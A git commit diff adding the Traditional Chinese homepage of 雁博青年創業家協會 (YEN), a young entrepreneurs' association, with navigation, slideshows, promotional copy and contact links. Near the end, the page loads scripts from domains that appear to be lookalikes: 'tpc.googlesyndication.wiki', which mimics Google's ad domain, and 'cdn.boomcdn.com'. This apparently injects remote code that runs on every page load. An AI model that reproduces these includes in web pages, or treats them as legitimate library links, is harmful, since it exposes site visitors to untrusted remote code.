initial commit
This commit is contained in:
+166
@@ -0,0 +1,166 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/home.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>雁博青年創業家協會</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 倍伴 -->
|
||||
<section id="block-home-1" class="page-block block-home-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-1">
|
||||
<div class="container">
|
||||
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
|
||||
<label>
|
||||
<img src="../images/pb.png" />
|
||||
一起成為更好的領導者！
|
||||
</label>
|
||||
<span>打造一個正循環生態，讓一群企業家透過資訊交流，持續學習，相互支持，讓彼此成為更好的領導者；進而改變自己與世界的命運。</span>
|
||||
<a href="about.html">了解更多</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 成长 -->
|
||||
<section id="block-home-2" class="page-block block-home-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-home-2b-pc.jpg" style="background-image: url('../images/block-home-2b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2d.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-2">
|
||||
<div class="container">
|
||||
<div id="block-content-2" class="content">
|
||||
<label>
|
||||
<img src="../images/cz-tc.png" />
|
||||
突破你的邊界！
|
||||
</label>
|
||||
<span>透過互相學習的過程，讓創業家繼續成長突破，並打破創業家孤軍奮戰的困境，提供安全互信的環境，彼此扶持。</span>
|
||||
<a href="value.html">了解更多</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>聯繫YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#661f03084807020b0f0857260f050a0913024805090b"><span class="__cf_email__" data-cfemail="f58c909bdb9491989c9bc4b59c96999a8091db969a98">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oBlock1 = document.getElementById('block-home-1');
|
||||
const oBlock2 = document.getElementById('block-home-2');
|
||||
const oContent2 = document.getElementById('block-content-2');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
|
||||
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user